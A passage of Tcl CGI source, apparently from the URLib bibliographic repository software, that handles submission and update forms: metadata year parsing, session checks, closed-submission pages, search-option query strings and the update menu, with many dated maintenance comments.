			if [string equal {} $year] {ConditionalSet year localMetadataArray($metadataRep-0,yearreleased) {}}	 ;# added by GJFB on 2021-09-05 - required for Film or Broadcast - used to prevent update when the record was created as a supplementary material of an event paper submitted with a form generated from a metaform - yearreleased is used just with Film or Broadcast
#			if [string equal {} $year] {ConditionalSet year localMetadataArray($metadataRep-0,date) {}}	 ;# added by GJFB on 2021-09-05 - required for Data - commented by GJFB em 2021-09-10 - produce a side effect for Thesis, Image,...:
# the value of the variable year becomes the value of the field named date which might be of the form YYYY-MM-DD and not just YYYY, producing the error 'expected integer but got "YYYY-MM-DD"' while executing the Tcl Page:
# http://mtc-m21b.sid.inpe.br/createpage.cgi/sid.inpe.br/mtc-m21b/2014/06.15.16.33/doc/YYYY-MM-DD/tclPage.html
			if {[string equal {} $year] && [string equal {Data} $referenceType]} {ConditionalSet year localMetadataArray($metadataRep-0,date) {}}	 ;# added by GJFB on 2021-09-10 - required for Data - used to prevent update when the record was created as a supplementary material of an event paper submitted with a form generated from a metaform
			
			regexp {\d{4,}} $year year	;# 2021-09-11 -> 2021 - may be useful when year is written like a date
			set publishingYear $year	;# default value may be changed when executing eval $sourceDisplayControl below based on the setting in a metaform
# puts --$publishingYear--
# size - used in displayControl.tcl
			ConditionalSet size localMetadataArray($metadataRep-0,size) {}
# copyrightRepository - used in displayControl.tcl
			ConditionalSet copyrightRepository localMetadataArray($metadataRep-0,copyright) {}
		}

# submissionStage - used in displayControl.tcl
		set submissionStage invoke

# Source displayControl.tcl and xxFillingInstructions.tcl
# puts --$userGroup--
		set enableOutput 0
# puts --$publishingYear--
# => --2014--
		eval $sourceDisplayControl
# puts --$publishingYear--
# => --2013--
# puts [array get displayTable]
# doc/xxFillingInstructions.tcl
# >>> OBS: Include has priority over the doc/xxFillingInstructions.tcl file
#		source ../$col/$languageRep2/doc/${language}FillingInstructions.tcl
# puts [list $languageRep2 $submissionFormLanguageRep]
# => dpi.inpe.br/banon/1999/06.19.22.43 urlib.net/www/2011/03.29.23.24
# puts --$displayTable(Report,%@contenttype)--
# => --3 {} {} {}--
 		source ../$col/$languageRep2/doc/${submissionFormLanguage}FillingInstructions.tcl
		source ../$col/$submissionFormLanguageRep/doc/${submissionFormLanguage}FillingInstructions.tcl
# Source displayControl.tcl and xxFillingInstructions.tcl - end

		set cellFont {<FONT class=cellFont>}

# puts $displayTable(Audiovisual Material,%C)
# puts $optionTable2(Report,%9)
# puts $optionTable(Report,%9)
# puts $optionTable2(Conference Proceedings,%@documentstage)
# puts $optionTable2(Misc,%@documentstage)

		if $updateStageOfSubmit {
			if {[string equal {Misc} $referenceType] && [regexp {review} $keywords]} {
# review
				set displayTable(Misc,%A) [list 1.1 {<FONT COLOR=BROWN>(*)</FONT>[Help Name]} {} {Reviewer(s)}]
				set displayTable(Misc,%T) [list 4 {} {} {}]
				set displayTable(Misc,%D) [list 0 {} {} {}]
				set displayTable(Misc,%9) [list 0 {} {} {}]
				set displayTable(Misc,%3) [list 0 {} {} {}]
				set displayTable(Misc,%K) [list 0 {} {} {}]
				set displayTable(Misc,%X) [list 0 {} {} {}]
				set displayTable(Misc,%O) [list 4 {} {} {Presentation Format}]
				set displayTable(Misc,%U) [list 0 {} {} {}]
				set displayTable(Misc,%@parentrepositories) [list 4 {click ->} {} {Work to be Reviewed}]
				set displayTable(Misc,%@language) [list 0 {} {} {}]
				set displayTable(Misc,%@copyholder) [list 0 {} {} {}]
				set displayTable(Misc,%@area) [list 4 {} {} {}]
				set displayTable(Misc,%@e-mailaddress) [list 0 {} {} {}]
				set displayTable(Misc,%@project) [list 0 {} {} {}]
				set displayTable(Misc,%@accessdate) [list 0 {} {} {}]
				set displayTable(Misc,%@readpermission) [list 0 {} {} {}]
#				set displayTable(Misc,%@documentstage) [list 3 {To <FONT COLOR=BROWN>Save</FONT><BR>keep your login<BR>and press Update<BR>----<BR>To <FONT COLOR=BROWN>Send</FONT><BR>select 'Send Review'<BR>and press Update<BR>----<BR><FONT COLOR=BROWN>(*)</FONT>[Help NextReview]} {} {Action to be Performed at Update}]
				set displayTable(Misc,%@documentstage) [list 3 {<FONT COLOR=BROWN>(*)</FONT>[Help NextReview]} {} {Action to be Performed at Update}]
				set displayTable(Misc,filename) [list 0 {} {} {x}]

				set updateOptionTable(Misc) {update}
#				set searchBaseTable(Misc) {writeUserArray}
				set searchBaseTable(Misc) {userArray}	;# not tested
			}
		}

		if {[info exists submissionMaintenanceTable($referenceType)] && \
		$submissionMaintenanceTable($referenceType)} {
# submission maintenance
			if [file exists ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}SubmissionMaintenance.html] {
# use include
				puts [subst [Include ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}SubmissionMaintenance.html]]
			} else {
				if [info exists submissionMaintenanceArray($referenceType)] {
# use xxFillingInstructions.tcl
					puts [subst $submissionMaintenanceArray($referenceType)]
				}
			}
 			return
		}
		
		
if 1 {
# moved here by GJFB on 2022-05-06 - searchOptionFlag requires cgi(frameinuse)
# puts $returnInfo
# Create cgi array
# usefull to recover the filled fields after a submit error
		CreateCGIArray	;# updates returnInfo
# Create cgi array - end
# puts [array names cgi]
# puts [array get cgi]
# puts $returnInfo

		if ![info exists cgi(frameinuse)] {set cgi(frameinuse) no}	;# when using search option (see displayControl.tcl) frameinuse is set to yes - frameinuse is not a user variable, is for internal use only - added by GJFB on 2020-06-24 - was above
# puts $cgi(frameinuse)
}
		
		if {[info exists searchOptionTable($referenceType)] && \
		[string equal {yes} $searchOptionTable($referenceType)] && \
		[string equal {no} $cgi(frameinuse)] && \
		(![info exists cgi(returntype)] || $cgi(returntype) < 2)} {	;# moved here by GJFB on 2022-05-06 - searchOptionFlag is required to avoid the 'closed submission/update' warning for the administrartor when displaying the search option
			set searchOptionFlag 1
		} else {
			set searchOptionFlag 0
		}
# puts $searchOptionFlag

# Closed submission/update
# puts $update
		if $update {
# update
			if $updateStageOfSubmit {
# Change write user name
				if [info exists updatePolicyTable($referenceType)] {
					if $updatePolicyTable($referenceType) {
# force update by the alternate user - gives control to the alternate user
						ConditionalSet userName2 alternateUserTable($referenceType) {administrator}
					} else {
# force update by the author - gives control to the author
						ConditionalSet alternateUser alternateUserTable($referenceType) {administrator}
						regsub $alternateUser $userGroup {} userList	;# drop the alternate user
						if {[info exists userNameList($referenceType)] && \
							[regexp {update by the author} $userNameList($referenceType)]} {
# update by the author
# Drop from user group the names which are in userNameList
							array set userNameTable [subst $userNameList($referenceType)]	;# may use userGroup
							set userList2 [GetArrayRange userNameTable]
							set userList [ListSubtraction userList userList2]	;# userList - userList2
# Drop from user group the names which are in userNameList  - end
						}
						set userName2 [lindex $userList 0]	;# take the first
					}
					if ![string equal $userName2 $userName] {
# change userName
						set userName $userName2
					}
				}
# Change write user name - end

				if {[info exists checkingSessionDataTable($referenceType)] && \
				$checkingSessionDataTable($referenceType)} {
# restricted access
# CHECK SESSION
					ConditionalSet readerGroup localMetadataArray($metadataRep-0,readergroup) {}
					
if 0 {
 puts --$cgi(session)--
 puts [info exists cgi(username)]
 puts [info exists cgi(session)]
 puts [CheckSession $cgi(session) $cgi(username)]
 puts [string equal {} $readerGroup]
}
									
					if {(![info exists cgi(username)] || \
					![info exists cgi(session)] || \
					[CheckSession $cgi(session) $cgi(username)]) && \
					![string equal {} $readerGroup]} {
# no session and reader group not empty
# enter in the restricted area - begin using session number instead of password
# sessionTime
# symmetricKey
#		regexp {(.*)-(.*)} [OpenSession $env(REMOTE_ADDR) symmetricKey] m sessionTime symmetricKey
						foreach {sessionTime symmetricKey} [OpenSession [list $env(REMOTE_ADDR) administrator] symmetricKey] {break}	;# added by GJFB on 2022-07-28 - sessionTime is required in 'subst $body' below
#						set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror About $cgi(targetframe) $Cancel]	;# commented by GJFB on 2022-07-28
						ConditionalSet targetFrame cgi(targetframe) {}	;# added by GJFB on 2022-07-28 - required when openning id CBnmVX32PXQZeBBx/PUBzN
						set returnButton [CreateReturnButton <HR> ../$col/$languageRep2/doc/mirror About $targetFrame $Cancel]	;# added by GJFB on 2022-07-28
#						puts [subst [subst ${closed session}]]
#						return
# action
						set action ${Please wait for the submission completion.}
# seconds
						set seconds "<INPUT TYPE=HIDDEN NAME=\"seconds\" VALUE=\"[clock seconds]\">"
						
						set cgi(usertype) {}	;# could be removed ...
						set cgi(delayedreturnbutton) {}	;# could be removed ...
						set cgi(targetframe) {}	;# could be removed ...
						set cgi(useraction) {}	;# could be removed ...
						set cgi(username) $userName
						set cgi(wrongpassword) {no}
						set currentPassword 1
						set currentFileName [FindCurrentHTMLFileName EnterPassword]
						set updateForRegister 0
						set formAction http://$localSite/update$env(PATH_INFO)?$env(QUERY_STRING)

						if {[llength $readerGroup] == 1} {
# just one read user
							set loginRow "
<TR>
	<TD BGCOLOR=$cellBgColor NOWRAP>${cellFont}$User (Login)</FONT></TD>
	<TD BGCOLOR=#EEEEEE STYLE=\"font-family: Verdana\">$readerGroup</TD>
</TR>
<INPUT TYPE=HIDDEN NAME=username VALUE=$userName>
"
						} else {
# more than one read user
							set loginRow "
<TR>
	<TD BGCOLOR=$cellBgColor NOWRAP>${cellFont}$User (Login)</FONT></TD>
	<TD BGCOLOR=#EEEEEE>
		<SELECT NAME=username STYLE=\"font-family: Verdana\">
"
# puts $userGroup
							foreach user $readerGroup {
								if [string equal $userName $user] {
									append loginRow "			<OPTION SELECTED VALUE=$user> $user
"
								} else {
									append loginRow "			<OPTION VALUE=$user> $user
"
								}
							}
							append loginRow "		</SELECT>
	</TD>
</TR>"

						}
						Load $currentFileName body
#						set output $body
#						set output [subst $body]
						set output [subst [subst [subst [subst $body]]]]	;# more subtitutions are needed to resolve the content of $action
						puts $output
						return
					}
				}
# Check session - end
			}
# puts [info exists closedUpdateTable($referenceType)]
# puts [string equal $year $publishingYear]
# puts $closedUpdateTable($referenceType)
# puts [info exists localMetadataArray($metadataRep-0,childrepositories)]
# puts [info exists forceAssignedPaperUpdateTable($referenceType)]
# puts $forceAssignedPaperUpdateTable($referenceType)
# puts $publishingYear

			if { \
				( \
					( \
						[info exists closedUpdateTable($referenceType)] && $closedUpdateTable($referenceType) \
					) || \
					![string equal $year $publishingYear] || \
					( \
						[info exists localMetadataArray($metadataRep-0,childrepositories)] && [info exists forceAssignedPaperUpdateTable($referenceType)] && !$forceAssignedPaperUpdateTable($referenceType)
					) \
				) && \
				![string equal {administrator} $userName] && (![string equal {Misc} $referenceType] || [regexp {review} $keywords]) \
			} {
# closed update
				if [file exists ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedUpdate.html] {
# use include
					puts [subst [Include ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedUpdate.html]]
					return
				} elseif {[file exists ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedUpdate.html]} {
# use default include if it exists
					puts [subst [Include ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedUpdate.html]]
					return
				} elseif {[string equal {ConferenceProceedings} $referenceType2]} {
					if !$searchOptionFlag {puts "<font style=\"font-size: 11px\">Warning for the administrator: <i>at Update there is no file xx${referenceType2}ClosedUpdate.html in the include directory</i></font>"}
				}
			}
		} else {
# submit
			if {[info exists closedSubmissionTable($referenceType)] && $closedSubmissionTable($referenceType)} {
# closed submit
				if [file exists ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedSubmission.html] {
# use include
					puts [subst [Include ../$col/$submissionFormLanguageRep/doc/include/$submissionFormLanguage${referenceType2}ClosedSubmission.html]]
					return
				} elseif {[file exists ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedSubmission.html]} {
# use default include if it exists
					puts [subst [Include ../$col/$languageRep2/doc/include/$language${referenceType2}ClosedSubmission.html]]
					return
				} elseif {[string equal {ConferenceProceedings} $referenceType2]} {
					if !$searchOptionFlag {puts "<font style=\"font-size: 11px\">Warning for the administrator: <i>at Submission there is no file xx${referenceType2}ClosedUpdate.html in the include directory</i></font>"}
				}
			}
		}
# Closed submission/update - end

# requiredFieldSymbol and requiredFieldAtCloseSymbol
		set requiredFieldSymbol $requiredFieldFootnoteTable($referenceType)	;# e.g., (*)
		regsub -all {(\*|\+)} $requiredFieldSymbol {\\\1} requiredFieldSymbol	;# requiredFieldSymbol is used in regular expression
		if [info exists requiredFieldAtCloseFootnoteTable($referenceType)] {
			set requiredFieldAtCloseSymbol $requiredFieldAtCloseFootnoteTable($referenceType)	;# e.g., (*)
			regsub -all {(\*|\+)} $requiredFieldAtCloseSymbol {\\\1} requiredFieldAtCloseSymbol	;# requiredFieldAtCloseSymbol is used in regular expression
		}
if 0 {
# commented by GJFB on 2022-05-06 - now above
# puts $returnInfo
# Create cgi array
# usefull to recover the filled fields after a submit error
		CreateCGIArray	;# updates returnInfo
# Create cgi array - end
# puts [array names cgi]
# puts [array get cgi]
# puts $returnInfo

		if ![info exists cgi(frameinuse)] {set cgi(frameinuse) no}	;# when using search option (see displayControl.tcl) frameinuse is set to yes - frameinuse is not a user variable, is for internal use only - added by GJFB on 2020-06-24 - was above
# puts $cgi(frameinuse)
}
# puts --$cgi(targetframe)--

# Set target frame
# added by GJFB on 2020-06-24 - must be after CreateCGIArray
		if $update {
#			if ![info exists cgi(targetframe)] {set cgi(targetframe) _blank}	;# added by GJFB on 2020-08-24 - required when clicking the update button in the menu bar
			if ![info exists cgi(targetframe)] {set cgi(targetframe) _self}	;# added by GJFB on 2021-07-27 - required when clicking the update button in the menu bar or the update +
		} else {
			ConditionalSet cgi(targetframe) display {}	;# added by GJFB on 2020-08-20 - used when opening a submission form
		}
		ConditionalSet targetFrame cgi(targetframe) {}	;# added by GJFB on 2020-06-24 - used in mirror/xxSubmit.tcl, xxSumit.html and xxUpdateSubmission.html to set the value of window.name of the bibliographic mirror displaying the search result
#		if !$update {ConditionalSet cgi(targetframe) display {}}	;# added by GJFB on 2020-07-29 - used when opening a submission form - commented by GJFB on 2020-08-20 - must be before the previous line otherwise targetFrame is empty at submission and window.name in {search option for submit} is set to empty

		if {[info exists searchOptionTable($referenceType)] && \
		[string equal {yes} $searchOptionTable($referenceType)] && \
		[string equal {yes} $cgi(frameinuse)]} {
#			if ![info exists cgi(targetframe)] {set cgi(targetframe) _parent}	;# used in returnButton
			set cgi(targetframe) _parent	;# used in returnButton
		} elseif 0 {
#			if ![info exists cgi(targetframe)] {set cgi(targetframe) _self}	;# used in returnButton
			set cgi(targetframe) _self	;# used in returnButton
		}
# Set target frame - end

# puts --$targetFrame--
# puts $cgi(targetframe)
 		
		if {[info exists cgi(returnaddress)] && ![string equal {} $cgi(returnaddress)]} {
			if $update {
				if [info exists cgi(lastupdate)] {
					set metadataLastUpdate $localMetadataArray($metadataRep-0,metadatalastupdate)
					regsub -all {\+} $cgi(lastupdate) { } metadataLastUpdate2	;# as in Submit
# puts [list $metadataLastUpdate $metadataLastUpdate2]
					if ![string equal [lindex $metadataLastUpdate 0] [lindex $metadataLastUpdate2 0]] {
# out-of-date search
						puts [subst [subst ${out-of-date search}]]
						return
					}
				}
			}
		}

# puts $cgi(frameinuse)
# puts [info exists cgi(returntype)]

# Search option
#		if {[info exists searchOptionTable($referenceType)] && \
#		[string equal {yes} $searchOptionTable($referenceType)] && \
#		[string equal {no} $cgi(frameinuse)] && \
#		![info exists cgi(returntype)]} #	;# commented by GJFB on 2020-06-24

#		if {[info exists searchOptionTable($referenceType)] && \
#		[string equal {yes} $searchOptionTable($referenceType)] && \
#		[string equal {no} $cgi(frameinuse)] && \
#		(![info exists cgi(returntype)] || !$cgi(returntype))} #	;# added by GJFB on 2020-06-24 - when returning from Update Warning (the current update causes two or more repositories with the same citation key) returntype exists and is 0

if 0 {
# commented by GJFB on 2022-05-06 - now above
		if {[info exists searchOptionTable($referenceType)] && \
		[string equal {yes} $searchOptionTable($referenceType)] && \
		[string equal {no} $cgi(frameinuse)] && \
		(![info exists cgi(returntype)] || $cgi(returntype) < 2)} {
			set searchOptionFlag 1
		} else {
			set searchOptionFlag 0
		}
}
		if $searchOptionFlag {	;# added by GJFB on 2020-07-27 - when returning from Save/Check returntype exists and is 1

# SEARCH OPTION must be created
# SEARCH OPTION - filling help green iframe containing the search option for form filling
# create iframe set
			set frameHeight 32
			if $update {
# update
				set metadataList [Execute $serverAddressWithIP [list GetMetadata $metadataRep-*]]
				array set localMetadataArray $metadataList
				set repName $localMetadataArray($metadataRep-0,repository)
				if ![file exists $homePath/col/$repName/service/userName] {
					set header ${update header}
					set returnButton [CreateReturnButton <HR> ../../../../col/$languageRep2/doc/mirror ../../../../col/$currentRep/doc/mirror.cgi/About $display $Cancel]
					puts [subst [subst ${no user name for update}]]
					return
				}
				set {search option} ${search option for update}
			} else {
# submit
				set {search option} ${search option for submit}
			}
if 0 {
# commented by GJFB on 2020-07-14
#			set queryString frameinuse=yes&$env(QUERY_STRING)	;# commented by GJFB on 2020-06-24
			set queryString frameinuse=yes&targetframe=$targetFrame&$env(QUERY_STRING)	;# added by GJFB on 2020-06-24 - required to set the window.name value in xxSubmit.html and xxUpdateSumissiom.html
} else {
# added by GJFB on 2020-07-14 - required when returning from a duplicate submit/update warning, otherwise the form content changes are lost
			set queryString {}
			foreach {name value} [array get cgi] {
				if [string equal {returnaddress} $name] {
					set valueOfReturnAddress $value
					continue
				} 
				if [string equal {frameinuse} $name] {
					continue
				}
				regsub -all {=} $value {%3D} value 
				regsub -all {&} $value {%26} value	;# added by GJFB on 2021-06-16 - required, for exemple, when color image is b&w - b&w value is lost after clicking Continue in the Update Warning page telling that the submitted file has an incorrect content type
				regsub -all {\n} $value {%0A} value	;# required with Chrome 
				regsub -all {\r} $value {%0D} value	;# required with Chrome 
				lappend queryString $name=[string trim $value]
			}
			set queryString frameinuse=yes&[join $queryString &]&returnaddress=$valueOfReturnAddress
}
# puts {-}	;# uncomment to be able to access the code of the iframe that contains the page with two iframes for submit or update
# puts $queryString
# puts --$dipslay--
# puts --$targetFrame--

			set output [subst ${search option}]
# puts OK	;# to see the source code of the frame set
			puts $output	;# display the frame set
			exit
		}
# Search option - end

# changing return button default
# must be after the above CreateReturnButton
		if ![info exists cgi(returnbutton)] {set cgi(returnbutton) {no}}

# attachment
# puts [info exists cgi(attachment)]
# puts [lindex $displayTable($referenceType,filename) 0]
		if [regexp {0} [lindex $displayTable($referenceType,filename) 0]] {
			if ![info exists cgi(attachment)] {set cgi(attachment) no}
		}
		if ![info exists cgi(attachment)] {set cgi(attachment) yes}
# puts $cgi(attachment)
# puts 3==$returnInfo
## puts [regexp {.\?} $returnInfo]
#		if ![regexp {.\?} $returnInfo] #	;# commented by GJFB on 2019-04-30 - because of XSS injection returnInfo may contain the symbol (?)
		if ![regexp {returnaddress} $returnInfo] {	;# added by GJFB on 2019-04-30
# doesn't contain return address
			append returnInfo "&attachment=$cgi(attachment)"
			append returnInfo "&returnbutton=$cgi(returnbutton)"
# returnaddress must be the last field in the returnInfo string because of the second ?
			if {[info exists cgi(returnaddress)] && [string compare {} $cgi(returnaddress)] != 0} {
				append returnInfo "&returnaddress=$cgi(returnaddress)"
if 0 {
				if {[info exists cgi(username)] && [info exists cgi(session)]} {
					append returnInfo "&username=$cgi(username)"	;# to maintain username
					append returnInfo "&session=$cgi(session)"	;# to maintain session
				}
}
			}
		}
# puts 4==$returnInfo
# puts [array get cgi]

# puts [info exists cgi(returnbutton)]
#		if {[info exists cgi(returnbutton)] && \
#			[string compare {no} $cgi(returnbutton)] == 0} {
### changing return button default
##		if {[string compare {no} $cgi(returnbutton)] == 0}
#			set cgi(targetframe) {""}
#		}
# returnButton
# puts [info exists cgi(returnaddress)]
# puts <BR>
# puts [info exists cgi(returnbutton)]
# puts <BR>
# puts $display
# puts [array get cgi]
#		if {([info exists cgi(returnaddress)] || !$update) && \
#			(![info exists cgi(returnbutton)] || [string compare {no} $cgi(returnbutton)] != 0)}
# returnButton
		if [string equal {yes} $cgi(returnbutton)] {
# add cancel button
#			set cgi(returnaddress) $cgi(returnaddress)&hidesimilarbutton=$cgi(hidesimilarbutton)	;# commented by GJFB on 2023-11-16
			set cgi(returnaddress) $cgi(returnaddress)&hidesimilarbutton=$cgi(hidesimilarbutton)&forcehistorybackflag=$cgi(forcehistorybackflag)	;# added by GJFB on 2023-11-16 - forcehistorybackflag added to get the green return button displayed
# puts $cgi(returnaddress)
			set returnButton [CreateReturnButton <HR> http://$localSite/col/$languageRep2/doc/mirror {} $cgi(targetframe) $Cancel]
#			set returnButton [CreateReturnButton <HR> http://$localSite/col/$languageRep2/doc/mirror {} $cgi(targetframe) $Cancel {} {} {} {} 1]	;# doesn't work, the browser returns a "page has expired" canceling update after a password error
		} else {
			set returnButton {}
		}
 
# updateOption (used at submit and update)
		if [string equal {} $cgi(updateoption)] {
			ConditionalSet updateOption updateOptionTable($referenceType) {all}
		} else {
			set updateOption $cgi(updateoption)
		}
# acceptCheckBoxFlag (used at submit)		
		ConditionalSet acceptCheckBoxFlag acceptCheckBoxFlagTable($referenceType) {1}
# submitButtonFlag
# value is 0 or 1, 0 means to display only one button and 1 two
		set submitButtonFlag [expr [string equal {all} $updateOption] || [string equal {update {remove before update}} $updateOption]]
		
		set buttonName1 ${Save/Check}
		set buttonName2 ${Save/Exit}
		set title1 ${Save the form and return to check its content and continue filling out}
		set title2 ${Save the form and exit from it}
			
		if $update {
# update
			if [info exists cgi(_(_previousedition)] {
# ignore targetfile, documentstage and notes of the previous edition
				if [info exists localMetadataArray($metadataRep-0,targetfile)] {unset localMetadataArray($metadataRep-0,targetfile)}
				if [info exists localMetadataArray($metadataRep-0,documentstage)] {unset localMetadataArray($metadataRep-0,documentstage)}
				if [info exists localMetadataArray($metadataRep-0,notes)] {unset localMetadataArray($metadataRep-0,notes)}
				if [info exists documentStage] {unset documentStage}
			}

# targetFile
# targetFileExtension
			if [info exists localMetadataArray($metadataRep-0,targetfile)] {
				set targetFile $localMetadataArray($metadataRep-0,targetfile)
				set targetFileExtension [string trimleft [file extension $targetFile] .]
			}

# ifConditionForRemoveBeforeUpdate
			set buttonName ${Update}
			if {$submitButtonFlag || [string equal {update finish} $updateOption]} {
# all or {update {remove before update}} or {update finish}
				if [info exists depositOptionTable($referenceType)] {
					array set depositOptionArray $depositOptionTable($referenceType)
				}
				ConditionalSet enableCopyToSource depositOptionArray(enablecopytosource) 0
# updateOptionList
				set updateOptionList {Update}	;# 0
#				lappend updateOptionList {Update Submission Agreement}	;# added by GJFB on 2010-12-05
				if [string equal {Electronic Source} $referenceType] {
#					set updateOptionList {Update}
					lappend updateOptionList {Update source Directory} {Remove before Update source Directory}
					set ifConditionForRemoveBeforeUpdate 0
				} else {
					if [string equal {update finish} $updateOption] {
						set ifConditionForRemoveBeforeUpdate 0
					} else {
						lappend updateOptionList {Remove before Update}	;# 1
						if [string equal {update {remove before update}} $updateOption] {
# update {remove before update}
							set ifConditionForRemoveBeforeUpdate {document.update.userfile.value != "" && document.update.updatetype\\\\\\\[1\\\\\\\].selected}
						} else {					
							if $enableCopyToSource {
#								lappend updateOptionList {Update and don't Copy to Source} {Remove before Update and don't Copy to Source} {Remove before Update} Add {Add and Copy}
								lappend updateOptionList {Update source Directory} {Remove before Update source Directory}
								set ifConditionForRemoveBeforeUpdate {document.update.userfile.value != "" && (document.update.updatetype\\\\\\\[1\\\\\\\].selected || document.update.updatetype\\\\\\\[3\\\\\\\].selected || document.update.updatetype\\\\\\\[5\\\\\\\].selected)}
							} else {
								set ifConditionForRemoveBeforeUpdate {document.update.userfile.value != "" && (document.update.updatetype\\\\\\\[1\\\\\\\].selected || document.update.updatetype\\\\\\\[3\\\\\\\].selected)}
							}
#							lappend updateOptionList {Update agreement Directory} {Remove before Update agreement Directory} Add {Add and Copy}
#							lappend updateOptionList {Move to source Directory before Update} {Update agreement Directory} {Remove before Update agreement Directory} Add {Add and Copy}	;# added by GJFB on 2016-05-10
							lappend updateOptionList {Move to source Directory before Update} {Move back to doc Directory before Update} {Update agreement Directory} {Remove before Update agreement Directory} Add {Add and Copy}	;# added by GJFB on 2021-05-27
						}
					}
				}
#				if [TestContentType $repName {^Tcl Page$} $homePath] #
				if {[info exists targetFile] && (([info exists targetFileExtension] && \
				[regexp -nocase {tex} $targetFileExtension]) || \
				[TestContentType $repName {^Tcl Page$|^Index$|^CGI Script$} $homePath])} {
# .tex target file or Tcl Page, Index, CGI Script
					lappend updateOptionList {Run}
				}
				lappend updateOptionList {Update and Finish}

				set updateMenu {}
				append updateMenu "<SELECT NAME=\"updatetype\" class=updatemenu ONCHANGE=\"SaveConfirmButtonControl()\">
"
				ConditionalSet updateType cgi(updatetype) {update}	;# default is update - just used in the foreach below
				foreach item $updateOptionList {
					set item2 [string tolower $item]
					if [string equal {update and finish} $item2] {
						if {[info exists userListWithPermissionToFinish($referenceType)] && \
						[lsearch $userListWithPermissionToFinish($referenceType) $advancedUser] == -1} {
							continue
						}
					}
					if [string equal $item2 $updateType] {
						append updateMenu "		<OPTION VALUE=\"$item2\" SELECTED>[set $item]</OPTION>
"
					} else {
						append updateMenu "		<OPTION VALUE=\"$item2\">[set $item]</OPTION>
"
					}
				}
				append updateMenu "	</SELECT>
"
				regsub -all { } $updateOption {+} updateOption2
#				append updateMenu "	&nbsp;&nbsp;<A class=green HREF=http://$localSite/col/$env(LOBIMIREP)/doc/mirror.cgi/FillingInstructions?instructiontype=Update&languagebutton=$language&repository=$repName&enablecopytosource=$enableCopyToSource&referencetype=$referenceType3&languagerep1=$languageRep1&languagerep2=$languageRep2&firstlanguagerep=$firstLanguageRep&submissionformrep=$submissionFormRep&submissionformlanguage=$submissionFormLanguage&submissionformlanguagerep=$submissionFormLanguageRep&advanceduser=$advancedUser&submissiontype=$submissionType&updateoption=$updateOption2&submitbuttonflag=$submitButtonFlag&buttonname=$buttonName&buttonname1=$buttonName1&buttonname2=$buttonName2 ONCLICK=\"window.open('', '${display}___instructions', 'width=560,height=150,scrollbars=yes,menubar=no,resizable=yes,toolbar=no')\" TARGET=${display}___instructions>(?)</A>&nbsp;&nbsp;"	;# similar code in Help - commented by GJFB on 2013-07-18
				append updateMenu "	&nbsp;&nbsp;<A class=green HREF=http://$localSite/col/$currentRep/doc/mirror.cgi/FillingInstructions?instructiontype=Update&languagebutton=$language&repository=$repName&enablecopytosource=$enableCopyToSource&referencetype=$referenceType3&languagerep1=$languageRep1&languagerep2=$languageRep2&firstlanguagerep=$firstLanguageRep&submissionformrep=$submissionFormRep&submissionformlanguage=$submissionFormLanguage&submissionformlanguagerep=$submissionFormLanguageRep&advanceduser=$advancedUser&submissiontype=$submissionType&updateoption=$updateOption2&submitbuttonflag=$submitButtonFlag&buttonname=$buttonName&buttonname1=$buttonName1&buttonname2=$buttonName2 ONCLICK=\"window.open('', '${display}___instructions', 'width=560,height=150,scrollbars=yes,menubar=no,resizable=yes,toolbar=no')\" TARGET=${display}___instructions>(?)</A>&nbsp;&nbsp;"	;# similar code in Help
			} else {
# not all
				set ifConditionForRemoveBeforeUpdate 0
				set updateMenu "
<INPUT TYPE=HIDDEN NAME=\"updatetype\" VALUE=\"$updateOption\">
"
			}
		} else {
# submit
if 0 {
			if $submitButtonFlag {
# all
# update {remove before update}
				set buttonName ${Submit}	;# for old customized pages (xxFillingInstruction.tcl)
#				set buttonName1 ${Accept/Save/Check}
#				set buttonName2 ${Accept/Save/Exit}
				set buttonName1 ${Save/Check}
				set buttonName2 ${Save/Exit}
			} else {
# not all
				set buttonName ${Submit}
			}
}
			set buttonName ${Submit}
		}

# onClickCheck
# onClickExit
# onClickCheck2
# onClickExit2
# puts $restrictedSubmission
		if {$restrictedSubmission || \
		([info exists submissionPolicyTable($referenceType)] && $submissionPolicyTable($referenceType) == 1)} {
			set restrictedSubmission2 1
		} else {
			set restrictedSubmission2 0
		}
		set onClickCheck "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission, 0, 1)'"	;# check - added by GJFB on 2020-11-12 - some submit form might be without login  (e.g., ISMM 2007)
		set onClickCheck2 "ONCLICK='ProcessSubmit(0, 0, 0, 0, 0, 0, 0, 1)'"	;# check
		set onClickExit2 "ONCLICK='ProcessSubmit(0, 0, 0, 0, 0, 0, 0, 0)'"	;# exit
		if {[info exists displayTable($referenceType,username)] && \
		[lindex $displayTable($referenceType,username) 0] || \
		$update} {
#			set onClickCheck "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission, 0, 1)'"	;# check - commented by GJFB on 2020-11-12
#			set onClickExit "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission, 0, 0)'"	;# exit
			set onClickExit "ONCLICK='ProcessSubmit(1, document.$submissionType.username.value, document.$submissionType.password1.value, $update, 1, $restrictedSubmission2, 0, 0)'"	;# exit
		} else {
# submission without login (e.g., SBSR)
			set onClickExit $onClickExit2
		}
		if $submitButtonFlag {
			set documentWriteToProcessKey "document.write (\"<INPUT class=button id=$buttonName1 TYPE=submit VALUE=$buttonName1 TITLE='$title1' $onClickCheck>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class=button id=$buttonName2 TYPE=submit VALUE=$buttonName2 TITLE='$title2' $onClickExit>\")"
			set documentWrite "document.write (\"<INPUT class=button id=$buttonName1 TYPE=submit VALUE=$buttonName1 TITLE='$title1' $onClickCheck2>&nbsp;&nbsp;&nbsp;&nbsp;<INPUT class=button id=$buttonName2 TYPE=submit VALUE=$buttonName2 TITLE='$title2' $onClickExit2>\")"
		} else {
# ID name must not be Submit - Submit is a reserved word for IE7/8
